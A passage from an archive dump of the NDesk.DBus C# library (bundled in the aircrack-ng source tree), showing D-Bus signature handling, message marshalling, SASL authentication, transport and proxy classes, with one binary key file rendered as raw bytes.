Data is null if (a.data == null || b.data == null) throw new Exception ("Encountered Signature with null buffer"); */ /* if (a.data == null && b.data == null) return true; if (a.data == null || b.data == null) return false; */ if (a.data.Length != b.data.Length) return false; for (int i = 0 ; i != a.data.Length ; i++) if (a.data[i] != b.data[i]) return false; return true; } public static bool operator != (Signature a, Signature b) { return !(a == b); } public override bool Equals (object o) { if (o == null) return false; if (!(o is Signature)) return false; return this == (Signature)o; } public override int GetHashCode () { return data.GetHashCode (); } public static Signature operator + (Signature s1, Signature s2) { return Concat (s1, s2); } //these need to be optimized public static Signature Concat (Signature s1, Signature s2) { return new Signature (s1.Value + s2.Value); } public static Signature Copy (Signature sig) { return new Signature (sig.data); } public Signature (string value) { this.data = Encoding.ASCII.GetBytes (value); } public Signature (byte[] value) { this.data = (byte[])value.Clone (); } //this will become obsolete soon internal Signature (DType value) { this.data = new byte[] {(byte)value}; } internal Signature (DType[] value) { this.data = new byte[value.Length]; /* MemoryStream ms = new MemoryStream (this.data); foreach (DType t in value) ms.WriteByte ((byte)t); */ for (int i = 0 ; i != value.Length ; i++) this.data[i] = (byte)value[i]; } byte[] data; //TODO: this should be private, but MessageWriter and Monitor still use it //[Obsolete] public byte[] GetBuffer () { return data; } internal DType this[int index] { get { return (DType)data[index]; } } public int Length { get { return data.Length; } } //[Obsolete] public string Value { get { /* //FIXME: hack to handle bad case when Data is null if (data == null) return String.Empty; */ return Encoding.ASCII.GetString (data); } } public override string ToString () { return Value; /* StringBuilder sb = new StringBuilder (); foreach (DType t in data) { //we shouldn't rely on object mapping here, but it's an easy way to get string representations for now Type type = DTypeToType (t); if (type != null) { sb.Append (type.Name); } else { char c = (char)t; if (!Char.IsControl (c)) sb.Append (c); else sb.Append (@"\" + (int)c); } sb.Append (" "); } return sb.ToString (); */ } public Signature MakeArraySignature () { return new Signature (DType.Array) + this; } public static Signature MakeStruct (params Signature[] elems) { Signature sig = Signature.Empty; sig += new Signature (DType.StructBegin); foreach (Signature elem in elems) sig += elem; sig += new Signature (DType.StructEnd); return sig; } public static Signature MakeDictEntry (Signature keyType, Signature valueType) { Signature sig = Signature.Empty; sig += new Signature (DType.DictEntryBegin); sig += keyType; sig += valueType; sig += new Signature (DType.DictEntryEnd); return sig; } public static Signature MakeDict (Signature keyType, Signature valueType) { return MakeDictEntry (keyType, valueType).MakeArraySignature (); } /* //TODO: complete this public bool IsPrimitive { get { if (this == Signature.Empty) return true; return false; } } */ public bool IsDict { get { if (Length < 3) return false; if (!IsArray) return false; if (this[2] != DType.DictEntryBegin) return false; return true; } } public bool IsArray { get { if (Length < 2) return false; if (this[0] != DType.Array) return false; return true; } } public Signature GetElementSignature () { if (!IsArray) throw new Exception ("Cannot get the element signature of a non-array (signature was '" + this + "')"); //TODO: improve this if (Length != 2) throw new NotSupportedException ("Parsing signatures with more than one primitive value is not supported (signature was '" + this + "')"); return new Signature (this[1]); } public Type[] ToTypes () { List types = new List (); for (int i = 0 ; i != data.Length ; types.Add (ToType (ref i))); return types.ToArray (); } public Type ToType () { int pos = 0; Type ret = ToType (ref pos); if (pos != data.Length) throw new Exception ("Signature '" + Value + "' is not a single complete type"); return ret; } internal static DType TypeCodeToDType (TypeCode typeCode) { switch (typeCode) { case TypeCode.Empty: return DType.Invalid; case TypeCode.Object: return DType.Invalid; case TypeCode.DBNull: return DType.Invalid; case TypeCode.Boolean: return DType.Boolean; case TypeCode.Char: return DType.UInt16; case TypeCode.SByte: return DType.Byte; case TypeCode.Byte: return DType.Byte; case TypeCode.Int16: return DType.Int16; case TypeCode.UInt16: return DType.UInt16; case TypeCode.Int32: return DType.Int32; case TypeCode.UInt32: return DType.UInt32; case TypeCode.Int64: return DType.Int64; case TypeCode.UInt64: return DType.UInt64; case TypeCode.Single: return DType.Single; case TypeCode.Double: return DType.Double; case TypeCode.Decimal: return DType.Invalid; case TypeCode.DateTime: return DType.Invalid; case TypeCode.String: return DType.String; default: return DType.Invalid; } } //FIXME: this method is bad, get rid of it internal static DType TypeToDType (Type type) { if (type == typeof (void)) return DType.Invalid; if (type == typeof (string)) return DType.String; if (type == typeof (ObjectPath)) return DType.ObjectPath; if (type == typeof (Signature)) return DType.Signature; if (type == typeof (object)) return DType.Variant; if (type.IsPrimitive) return TypeCodeToDType (Type.GetTypeCode (type)); if (type.IsEnum) return TypeToDType (Enum.GetUnderlyingType (type)); //needs work if (type.IsArray) return DType.Array; //if (type.UnderlyingSystemType != null) // return TypeToDType (type.UnderlyingSystemType); if (Mapper.IsPublic (type)) return DType.ObjectPath; if (!type.IsPrimitive && !type.IsEnum) return DType.Struct; //TODO: maybe throw an exception here return DType.Invalid; } /* public static DType TypeToDType (Type type) { if (type == null) return DType.Invalid; else if (type == typeof (byte)) return DType.Byte; else if (type == typeof (bool)) return DType.Boolean; else if (type == typeof (short)) return DType.Int16; else if (type == typeof (ushort)) return DType.UInt16; else if (type == typeof (int)) return DType.Int32; else if (type == typeof (uint)) return DType.UInt32; else if (type == typeof (long)) return DType.Int64; else if (type == typeof (ulong)) return DType.UInt64; else if (type == typeof (float)) //not supported by libdbus at time of writing return DType.Single; else if (type == typeof (double)) return DType.Double; else if (type == typeof (string)) return DType.String; else if (type == typeof (ObjectPath)) return DType.ObjectPath; else if (type == typeof (Signature)) return DType.Signature; else return DType.Invalid; } */ public Type ToType (ref int pos) { DType dtype = (DType)data[pos++]; switch (dtype) { case DType.Invalid: return typeof (void); case DType.Byte: return typeof (byte); case DType.Boolean: return typeof (bool); case DType.Int16: return typeof (short); case DType.UInt16: return typeof (ushort); case DType.Int32: return typeof (int); case DType.UInt32: return typeof (uint); case DType.Int64: return typeof (long); case DType.UInt64: return typeof (ulong); case DType.Single: ////not supported by libdbus at time of writing return typeof (float); case DType.Double: return typeof (double); case DType.String: return typeof (string); case DType.ObjectPath: return typeof (ObjectPath); case DType.Signature: return typeof (Signature); case DType.Array: //peek to see if this is in fact a dictionary if ((DType)data[pos] == DType.DictEntryBegin) { //skip over the { pos++; Type keyType = ToType (ref pos); Type valueType = ToType (ref pos); //skip over the } pos++; //return typeof (IDictionary<,>).MakeGenericType (new Type[] {keyType, valueType}); //workaround for Mono bug #81035 (memory leak) return Mapper.GetGenericType (typeof (IDictionary<,>), new Type[] {keyType, valueType}); } else { return ToType (ref pos).MakeArrayType (); } case DType.Struct: return typeof (ValueType); case DType.DictEntry: return typeof (System.Collections.Generic.KeyValuePair<,>); case DType.Variant: return typeof (object); default: throw new NotSupportedException ("Parsing or converting this signature is not yet supported (signature was '" + this + "'), at DType." + dtype); } } public static Signature GetSig (object[] objs) { return GetSig (Type.GetTypeArray (objs)); } public static Signature GetSig (Type[] types) { if (types == null) throw new ArgumentNullException ("types"); Signature sig = Signature.Empty; foreach (Type type in types) sig += GetSig (type); return sig; } public static Signature GetSig (Type type) { if (type == null) throw new ArgumentNullException ("type"); //this is inelegant, but works for now if (type == typeof (Signature)) return new Signature (DType.Signature); if (type == typeof (ObjectPath)) return new Signature (DType.ObjectPath); if (type == typeof (void)) return Signature.Empty; if (type == typeof (string)) return new Signature (DType.String); if (type == typeof (object)) return new Signature (DType.Variant); if (type.IsArray) return GetSig (type.GetElementType ()).MakeArraySignature (); if (type.IsGenericType && (type.GetGenericTypeDefinition () == typeof (IDictionary<,>) || type.GetGenericTypeDefinition () == typeof (Dictionary<,>))) { Type[] genArgs = type.GetGenericArguments (); return Signature.MakeDict (GetSig (genArgs[0]), GetSig (genArgs[1])); } if (Mapper.IsPublic (type)) { return new Signature (DType.ObjectPath); } if (!type.IsPrimitive && !type.IsEnum) { Signature sig = Signature.Empty; foreach (FieldInfo fi in type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance)) sig += GetSig (fi.FieldType); return Signature.MakeStruct (sig); } DType dtype = Signature.TypeToDType (type); return new Signature (dtype); } } enum ArgDirection { In, Out, } enum DType : byte { Invalid = (byte)'\0', Byte = (byte)'y', Boolean = (byte)'b', Int16 = (byte)'n', UInt16 = (byte)'q', Int32 = (byte)'i', UInt32 = (byte)'u', Int64 = (byte)'x', UInt64 = (byte)'t', Single = (byte)'f', //This is not yet supported! Double = (byte)'d', String = (byte)'s', ObjectPath = (byte)'o', Signature = (byte)'g', Array = (byte)'a', //TODO: remove Struct and DictEntry -- they are not relevant to wire protocol Struct = (byte)'r', DictEntry = (byte)'e', Variant = (byte)'v', StructBegin = (byte)'(', StructEnd = (byte)')', DictEntryBegin = (byte)'{', DictEntryEnd = (byte)'}', } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/MessageFilter.cs0000644000000000000000000000255611600013506024521 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; namespace NDesk.DBus { class MessageFilter { //this should probably be made to use HeaderField or similar //this class is not generalized yet public static string MessageTypeToString (MessageType mtype) { switch (mtype) { case MessageType.MethodCall: return "method_call"; case MessageType.MethodReturn: return "method_return"; case MessageType.Error: return "error"; case MessageType.Signal: return "signal"; case MessageType.Invalid: return "invalid"; default: throw new Exception ("Bad MessageType: " + mtype); } } public static MessageType StringToMessageType (string text) { switch (text) { case "method_call": return MessageType.MethodCall; case "method_return": return MessageType.MethodReturn; case "error": return MessageType.Error; case "signal": return MessageType.Signal; case "invalid": return MessageType.Invalid; default: throw new Exception ("Bad MessageType: " + text); } } //TODO: remove this -- left here for the benefit of the monitor tool for now public static string CreateMatchRule (MessageType mtype) { return "type='" + MessageTypeToString (mtype) + "'"; } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/AssemblyInfo.cs0000644000000000000000000000260711600013506024357 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System.Reflection; using System.Runtime.CompilerServices; [assembly: AssemblyFileVersion("0.6.0")] [assembly: AssemblyInformationalVersion("0.6.0")] [assembly: AssemblyVersion("0.6.0")] [assembly: AssemblyTitle ("NDesk.DBus")] [assembly: AssemblyDescription ("D-Bus IPC protocol library and CLR binding")] [assembly: AssemblyCopyright ("Copyright (C) Alp Toker")] [assembly: AssemblyCompany ("NDesk")] #if STRONG_NAME [assembly: InternalsVisibleTo ("dbus-monitor, PublicKey=0024000004800000440000000602000000240000525341318001000011000000ffbfaa640454654de78297fde2d22dd4bc4b0476fa892c3f8575ad4f048ce0721ce4109f542936083bc4dd83be5f7f97")] [assembly: InternalsVisibleTo ("NDesk.DBus.GLib, PublicKey=0024000004800000440000000602000000240000525341318001000011000000ffbfaa640454654de78297fde2d22dd4bc4b0476fa892c3f8575ad4f048ce0721ce4109f542936083bc4dd83be5f7f97")] [assembly: InternalsVisibleTo ("NDesk.DBus.Proxies, PublicKey=0024000004800000440000000602000000240000525341318001000011000000ffbfaa640454654de78297fde2d22dd4bc4b0476fa892c3f8575ad4f048ce0721ce4109f542936083bc4dd83be5f7f97")] #else [assembly: InternalsVisibleTo ("dbus-monitor")] [assembly: InternalsVisibleTo ("NDesk.DBus.GLib")] [assembly: InternalsVisibleTo ("NDesk.DBus.Proxies")] #endif aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/ndesk.snk0000644000000000000000000000035411600013506023253 0ustar rootroot$RSA2€ÿ¿ªdTeMç‚—ýâÒ-Ô¼Kvú‰,?…u­OŒàräŸT)6;Ä݃¾_—‘tRcîi¸?DZÊáÑAh(H¿›ó–Òë¹§2†™$Ñ•¤ñêw‹^EÑùá@¹Ý¤*ÐäiGICD™ƒ„Á.–!@a6t½2 m®ÆÏ§žd>ù7}Gç•ù.uAU@;ÂtKÐd_š'X<{¾ ¯q§µa¦ÑfM6Ï[ÿõ™§ùÆÛ¸•Ã/˜’Š5on *RÒ­çel~ÆÑðjaircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/UnixTransport.cs0000644000000000000000000000142511600013506024621 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.IO; using Mono.Unix; namespace NDesk.DBus.Transports { abstract class UnixTransport : Transport { public override void Open (AddressEntry entry) { string path; bool abstr; if (entry.Properties.TryGetValue ("path", out path)) abstr = false; else if (entry.Properties.TryGetValue ("abstract", out path)) abstr = true; else throw new Exception ("No path specified for UNIX transport"); Open (path, abstr); } public override string AuthString () { long uid = UnixUserInfo.GetRealUserId (); return uid.ToString (); } public abstract void Open (string path, bool @abstract); } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Authentication.cs0000644000000000000000000000644411600013506024746 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Globalization; namespace NDesk.DBus.Authentication { enum ClientState { WaitingForData, WaitingForOK, WaitingForReject, } enum ServerState { WaitingForAuth, WaitingForData, WaitingForBegin, } class SaslClient { protected Connection conn; protected SaslClient () { } public SaslClient (Connection conn) { this.conn = conn; } public void Run () { StreamReader sr = new StreamReader (conn.Transport.Stream, Encoding.ASCII); StreamWriter sw = new StreamWriter (conn.Transport.Stream, Encoding.ASCII); sw.NewLine = "\r\n"; string str = conn.Transport.AuthString (); byte[] bs = Encoding.ASCII.GetBytes (str); string authStr = ToHex (bs); sw.WriteLine ("AUTH EXTERNAL {0}", authStr); sw.Flush (); string ok_rep = sr.ReadLine (); string[] parts; parts = ok_rep.Split (' '); if (parts.Length < 1 || parts[0] != "OK") throw new Exception ("Authentication error: AUTH EXTERNAL was not OK: \"" + ok_rep + "\""); /* string guid = parts[1]; byte[] guidData = FromHex (guid); uint unixTime = BitConverter.ToUInt32 (guidData, 0); Console.Error.WriteLine ("guid: " + guid + ", " + "unixTime: " + unixTime + " (" + UnixToDateTime (unixTime) + ")"); */ sw.WriteLine ("BEGIN"); sw.Flush (); } //From Mono.Unix.Native.NativeConvert //should these methods use long or (u)int? public static DateTime UnixToDateTime (long time) { DateTime LocalUnixEpoch = new DateTime (1970, 1, 1); TimeSpan LocalUtcOffset = TimeZone.CurrentTimeZone.GetUtcOffset (DateTime.UtcNow); return LocalUnixEpoch.AddSeconds ((double) time + LocalUtcOffset.TotalSeconds); } public static long DateTimeToUnix (DateTime time) { DateTime LocalUnixEpoch = new DateTime (1970, 1, 1); TimeSpan LocalUtcOffset = TimeZone.CurrentTimeZone.GetUtcOffset (DateTime.UtcNow); TimeSpan unixTime = time.Subtract (LocalUnixEpoch) - LocalUtcOffset; return (long) unixTime.TotalSeconds; } //From Mono.Security.Cryptography //Modified to output lowercase hex static public string ToHex (byte[] input) { if (input == null) return null; StringBuilder sb = new StringBuilder (input.Length * 2); foreach (byte b in input) { sb.Append (b.ToString ("x2", CultureInfo.InvariantCulture)); } return sb.ToString (); } //From Mono.Security.Cryptography static private byte FromHexChar (char c) { if ((c >= 'a') && (c <= 'f')) return (byte) (c - 'a' + 10); if ((c >= 'A') && (c <= 'F')) return (byte) (c - 'A' + 10); if ((c >= '0') && (c <= '9')) return (byte) (c - '0'); throw new ArgumentException ("Invalid hex char"); } //From Mono.Security.Cryptography static public byte[] FromHex (string hex) { if (hex == null) return null; if ((hex.Length & 0x1) == 0x1) throw new ArgumentException ("Length must be a multiple of 2"); byte[] result = new byte [hex.Length >> 1]; int n = 0; int i = 0; while (n < result.Length) { result [n] = (byte) (FromHexChar (hex [i++]) << 4); result [n++] += FromHexChar (hex [i++]); } return result; } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Notifications.cs0000644000000000000000000000152011600013506024566 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using NDesk.DBus; using org.freedesktop.DBus; // Hand-written interfaces for bootstrapping namespace org.freedesktop { public struct ServerInformation { public string Name; public string Vendor; public string Version; public string SpecVersion; } [Interface ("org.freedesktop.Notifications")] public interface Notifications : Introspectable, Properties { ServerInformation GetServerInformation (); string[] GetCapabilities (); void CloseNotification (uint id); uint Notify (string app_name, uint id, string icon, string summary, string body, string[] actions, IDictionary hints, int timeout); } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/DProxy.cs0000644000000000000000000000470511600013506023212 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Runtime.Remoting.Proxies; using System.Runtime.Remoting.Messaging; namespace NDesk.DBus { //marked internal because this is really an implementation detail and needs to be replaced internal class DProxy : RealProxy { protected BusObject busObject; public DProxy (BusObject busObject, Type type) : base(type) { this.busObject = busObject; } static MethodInfo mi_GetHashCode = typeof (object).GetMethod ("GetHashCode"); static MethodInfo mi_Equals = typeof (object).GetMethod ("Equals", BindingFlags.Instance); static MethodInfo mi_ToString = typeof (object).GetMethod ("ToString"); static MethodInfo mi_GetLifetimeService = typeof (MarshalByRefObject).GetMethod ("GetLifetimeService"); object GetDefaultReturn (MethodBase mi, object[] inArgs) { if (mi == mi_GetHashCode) return busObject.Path.Value.GetHashCode (); if (mi == mi_Equals) return busObject.Path.Value == ((BusObject)((MarshalByRefObject)inArgs[0]).GetLifetimeService ()).Path.Value; if (mi == mi_ToString) return busObject.Path.Value; if (mi == mi_GetLifetimeService) return busObject; return null; } public override IMessage Invoke (IMessage message) { IMethodCallMessage callMessage = (IMethodCallMessage) message; object defaultRetVal = GetDefaultReturn (callMessage.MethodBase, callMessage.InArgs); if (defaultRetVal != null) { MethodReturnMessageWrapper defaultReturnMessage = new MethodReturnMessageWrapper ((IMethodReturnMessage) message); defaultReturnMessage.ReturnValue = defaultRetVal; return defaultReturnMessage; } object[] outArgs; object retVal; Exception exception; busObject.Invoke (callMessage.MethodBase, callMessage.MethodName, callMessage.InArgs, out outArgs, out retVal, out exception); MethodReturnMessageWrapper returnMessage = new MethodReturnMessageWrapper ((IMethodReturnMessage) message); returnMessage.Exception = exception; returnMessage.ReturnValue = retVal; return returnMessage; } /* public override ObjRef CreateObjRef (Type ServerType) { throw new System.NotImplementedException (); } */ ~DProxy () { //FIXME: remove handlers/match rules here if (Protocol.Verbose) Console.Error.WriteLine ("Warning: Finalization of " + busObject.Path + " not yet supported"); } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/MessageWriter.cs0000644000000000000000000002410211600013506024537 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; using System.IO; using System.Reflection; namespace NDesk.DBus { class MessageWriter { protected EndianFlag endianness; protected MemoryStream stream; public Connection connection; //a default constructor is a bad idea for now as we want to make sure the header and content-type match public MessageWriter () : this (Connection.NativeEndianness) {} public MessageWriter (EndianFlag endianness) { this.endianness = endianness; stream = new MemoryStream (); } public byte[] ToArray () { //TODO: mark the writer locked or something here return stream.ToArray (); } public void CloseWrite () { int needed = Protocol.PadNeeded ((int)stream.Position, 8); for (int i = 0 ; i != needed ; i++) stream.WriteByte (0); } public void Write (byte val) { stream.WriteByte (val); } public void Write (bool val) { Write ((uint) (val ? 1 : 0)); } unsafe protected void MarshalUShort (byte *data) { WritePad (2); byte[] dst = new byte[2]; if (endianness == Connection.NativeEndianness) { dst[0] = data[0]; dst[1] = data[1]; } else { dst[0] = data[1]; dst[1] = data[0]; } stream.Write (dst, 0, 2); } unsafe public void Write (short val) { MarshalUShort ((byte*)&val); } unsafe public void Write (ushort val) { MarshalUShort ((byte*)&val); } unsafe protected void MarshalUInt (byte *data) { WritePad (4); byte[] dst = new byte[4]; if (endianness == Connection.NativeEndianness) { dst[0] = data[0]; dst[1] = data[1]; dst[2] = data[2]; dst[3] = data[3]; } else { dst[0] = data[3]; dst[1] = data[2]; dst[2] = data[1]; dst[3] = data[0]; } stream.Write (dst, 0, 4); } unsafe public void Write (int val) { MarshalUInt ((byte*)&val); } unsafe public void Write (uint val) { MarshalUInt ((byte*)&val); } unsafe protected void MarshalULong (byte *data) { WritePad (8); byte[] dst = new byte[8]; if (endianness == Connection.NativeEndianness) { for (int i = 0; i < 8; ++i) dst[i] = data[i]; } else { for (int i = 0; i < 8; ++i) dst[i] = data[7 - i]; } stream.Write (dst, 0, 8); } unsafe public void Write (long val) { MarshalULong ((byte*)&val); } unsafe public void Write (ulong val) { MarshalULong ((byte*)&val); } #if !DISABLE_SINGLE unsafe public void Write (float val) { MarshalUInt ((byte*)&val); } #endif unsafe public void Write (double val) { MarshalULong ((byte*)&val); } public void Write (string val) { byte[] utf8_data = Encoding.UTF8.GetBytes (val); Write ((uint)utf8_data.Length); stream.Write (utf8_data, 0, utf8_data.Length); WriteNull (); } public void Write (ObjectPath val) { Write (val.Value); } public void Write (Signature val) { byte[] ascii_data = val.GetBuffer (); if (ascii_data.Length > Protocol.MaxSignatureLength) throw new Exception ("Signature length " + ascii_data.Length + " exceeds maximum allowed " + Protocol.MaxSignatureLength + " bytes"); Write ((byte)ascii_data.Length); stream.Write (ascii_data, 0, ascii_data.Length); WriteNull (); } public void WriteComplex (object val, Type type) { if (type == typeof (void)) return; if (type.IsArray) { WriteArray (val, type.GetElementType ()); } else if (type.IsGenericType && (type.GetGenericTypeDefinition () == typeof (IDictionary<,>) || type.GetGenericTypeDefinition () == typeof (Dictionary<,>))) { Type[] genArgs = type.GetGenericArguments (); System.Collections.IDictionary idict = (System.Collections.IDictionary)val; WriteFromDict (genArgs[0], genArgs[1], idict); } else if (Mapper.IsPublic (type)) { WriteObject (type, val); } else if (!type.IsPrimitive && !type.IsEnum) { WriteValueType (val, type); /* } else if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (Nullable<>)) { //is it possible to support nullable types? Type[] genArgs = type.GetGenericArguments (); WriteVariant (genArgs[0], val); */ } else { throw new Exception ("Can't write"); } } public void Write (Type type, object val) { if (type == typeof (void)) return; if (type.IsArray) { WriteArray (val, type.GetElementType ()); } else if (type == typeof (ObjectPath)) { Write ((ObjectPath)val); } else if (type == typeof (Signature)) { Write ((Signature)val); } else if (type == typeof (object)) { Write (val); } else if (type == typeof (string)) { Write ((string)val); } else if (type.IsGenericType && (type.GetGenericTypeDefinition () == typeof (IDictionary<,>) || type.GetGenericTypeDefinition () == typeof (Dictionary<,>))) { Type[] genArgs = type.GetGenericArguments (); System.Collections.IDictionary idict = (System.Collections.IDictionary)val; WriteFromDict (genArgs[0], genArgs[1], idict); } else if (Mapper.IsPublic (type)) { WriteObject (type, val); } else if (!type.IsPrimitive && !type.IsEnum) { WriteValueType (val, type); } else { Write (Signature.TypeToDType (type), val); } } //helper method, should not be used as it boxes needlessly public void Write (DType dtype, object val) { switch (dtype) { case DType.Byte: { Write ((byte)val); } break; case DType.Boolean: { Write ((bool)val); } break; case DType.Int16: { Write ((short)val); } break; case DType.UInt16: { Write ((ushort)val); } break; case DType.Int32: { Write ((int)val); } break; case DType.UInt32: { Write ((uint)val); } break; case DType.Int64: { Write ((long)val); } break; case DType.UInt64: { Write ((ulong)val); } break; #if !DISABLE_SINGLE case DType.Single: { Write ((float)val); } break; #endif case DType.Double: { Write ((double)val); } break; case DType.String: { Write ((string)val); } break; case DType.ObjectPath: { Write ((ObjectPath)val); } break; case DType.Signature: { Write ((Signature)val); } break; case DType.Variant: { Write ((object)val); } break; default: throw new Exception ("Unhandled D-Bus type: " + dtype); } } public void WriteObject (Type type, object val) { ObjectPath path; BusObject bobj = val as BusObject; if (bobj == null && val is MarshalByRefObject) { bobj = ((MarshalByRefObject)val).GetLifetimeService () as BusObject; } if (bobj == null) throw new Exception ("No object reference to write"); path = bobj.Path; Write (path); } //variant public void Write (object val) { //TODO: maybe support sending null variants if (val == null) throw new NotSupportedException ("Cannot send null variant"); Type type = val.GetType (); WriteVariant (type, val); } public void WriteVariant (Type type, object val) { Signature sig = Signature.GetSig (type); Write (sig); Write (type, val); } //this requires a seekable stream for now public void WriteArray (object obj, Type elemType) { Array val = (Array)obj; //TODO: more fast paths for primitive arrays if (elemType == typeof (byte)) { if (val.Length > Protocol.MaxArrayLength) throw new Exception ("Array length " + val.Length + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); Write ((uint)val.Length); stream.Write ((byte[])val, 0, val.Length); return; } long origPos = stream.Position; Write ((uint)0); //advance to the alignment of the element WritePad (Protocol.GetAlignment (Signature.TypeToDType (elemType))); long startPos = stream.Position; foreach (object elem in val) Write (elemType, elem); long endPos = stream.Position; uint ln = (uint)(endPos - startPos); stream.Position = origPos; if (ln > Protocol.MaxArrayLength) throw new Exception ("Array length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); Write (ln); stream.Position = endPos; } public void WriteFromDict (Type keyType, Type valType, System.Collections.IDictionary val) { long origPos = stream.Position; Write ((uint)0); //advance to the alignment of the element //WritePad (Protocol.GetAlignment (Signature.TypeToDType (type))); WritePad (8); long startPos = stream.Position; foreach (System.Collections.DictionaryEntry entry in val) { WritePad (8); Write (keyType, entry.Key); Write (valType, entry.Value); } long endPos = stream.Position; uint ln = (uint)(endPos - startPos); stream.Position = origPos; if (ln > Protocol.MaxArrayLength) throw new Exception ("Dict length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); Write (ln); stream.Position = endPos; } public void WriteValueType (object val, Type type) { MethodInfo mi = TypeImplementer.GetWriteMethod (type); mi.Invoke (null, new object[] {this, val}); } /* public void WriteValueTypeOld (object val, Type type) { WritePad (8); if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (KeyValuePair<,>)) { System.Reflection.PropertyInfo key_prop = type.GetProperty ("Key"); Write (key_prop.PropertyType, key_prop.GetValue (val, null)); System.Reflection.PropertyInfo val_prop = type.GetProperty ("Value"); Write (val_prop.PropertyType, val_prop.GetValue (val, null)); return; } FieldInfo[] fis = type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); foreach (System.Reflection.FieldInfo fi in fis) { object elem; elem = fi.GetValue (val); Write (fi.FieldType, elem); } } */ public void WriteNull () { stream.WriteByte (0); } public void WritePad (int alignment) { stream.Position = Protocol.Padded ((int)stream.Position, alignment); } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/BusObject.cs0000644000000000000000000002055111600013506023642 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Reflection.Emit; using System.Collections.Generic; namespace NDesk.DBus { class BusObject { protected Connection conn; string bus_name; ObjectPath object_path; //protected BusObject () public BusObject () { } public BusObject (Connection conn, string bus_name, ObjectPath object_path) { this.conn = conn; this.bus_name = bus_name; this.object_path = object_path; } public Connection Connection { get { return conn; } } public string BusName { get { return bus_name; } } public ObjectPath Path { get { return object_path; } } public void ToggleSignal (string iface, string member, Delegate dlg, bool adding) { MatchRule rule = new MatchRule (); rule.MessageType = MessageType.Signal; rule.Interface = iface; rule.Member = member; rule.Path = object_path; if (adding) { if (conn.Handlers.ContainsKey (rule)) conn.Handlers[rule] = Delegate.Combine (conn.Handlers[rule], dlg); else { conn.Handlers[rule] = dlg; conn.AddMatch (rule.ToString ()); } } else { conn.Handlers[rule] = Delegate.Remove (conn.Handlers[rule], dlg); if (conn.Handlers[rule] == null) { conn.RemoveMatch (rule.ToString ()); conn.Handlers.Remove (rule); } } } public void SendSignal (string iface, string member, string inSigStr, MessageWriter writer, Type retType, out Exception exception) { exception = null; //TODO: don't ignore retVal, exception etc. Signature outSig = String.IsNullOrEmpty (inSigStr) ? Signature.Empty : new Signature (inSigStr); Signal signal = new Signal (object_path, iface, member); signal.message.Signature = outSig; Message signalMsg = signal.message; signalMsg.Body = writer.ToArray (); conn.Send (signalMsg); } public object SendMethodCall (string iface, string member, string inSigStr, MessageWriter writer, Type retType, out Exception exception) { exception = null; //TODO: don't ignore retVal, exception etc. Signature inSig = String.IsNullOrEmpty (inSigStr) ? Signature.Empty : new Signature (inSigStr); MethodCall method_call = new MethodCall (object_path, iface, member, bus_name, inSig); Message callMsg = method_call.message; callMsg.Body = writer.ToArray (); //Invoke Code:: //TODO: complete out parameter support /* Type[] outParmTypes = Mapper.GetTypes (ArgDirection.Out, mi.GetParameters ()); Signature outParmSig = Signature.GetSig (outParmTypes); if (outParmSig != Signature.Empty) throw new Exception ("Out parameters not yet supported: out_signature='" + outParmSig.Value + "'"); */ Type[] outTypes = new Type[1]; outTypes[0] = retType; //we default to always requiring replies for now, even though unnecessary //this is to make sure errors are handled synchronously //TODO: don't hard code this bool needsReply = true; //if (mi.ReturnType == typeof (void)) // needsReply = false; callMsg.ReplyExpected = needsReply; callMsg.Signature = inSig; if (!needsReply) { conn.Send (callMsg); return null; } #if PROTO_REPLY_SIGNATURE if (needsReply) { Signature outSig = Signature.GetSig (outTypes); callMsg.Header.Fields[FieldCode.ReplySignature] = outSig; } #endif Message retMsg = conn.SendWithReplyAndBlock (callMsg); object retVal = null; //handle the reply message switch (retMsg.Header.MessageType) { case MessageType.MethodReturn: object[] retVals = MessageHelper.GetDynamicValues (retMsg, outTypes); if (retVals.Length != 0) retVal = retVals[retVals.Length - 1]; break; case MessageType.Error: //TODO: typed exceptions Error error = new Error (retMsg); string errMsg = String.Empty; if (retMsg.Signature.Value.StartsWith ("s")) { MessageReader reader = new MessageReader (retMsg); errMsg = reader.ReadString (); } exception = new Exception (error.ErrorName + ": " + errMsg); break; default: throw new Exception ("Got unexpected message of type " + retMsg.Header.MessageType + " while waiting for a MethodReturn or Error"); } return retVal; } public void Invoke (MethodBase methodBase, string methodName, object[] inArgs, out object[] outArgs, out object retVal, out Exception exception) { outArgs = new object[0]; retVal = null; exception = null; MethodInfo mi = methodBase as MethodInfo; if (mi != null && mi.IsSpecialName && (methodName.StartsWith ("add_") || methodName.StartsWith ("remove_"))) { string[] parts = methodName.Split (new char[]{'_'}, 2); string ename = parts[1]; Delegate dlg = (Delegate)inArgs[0]; 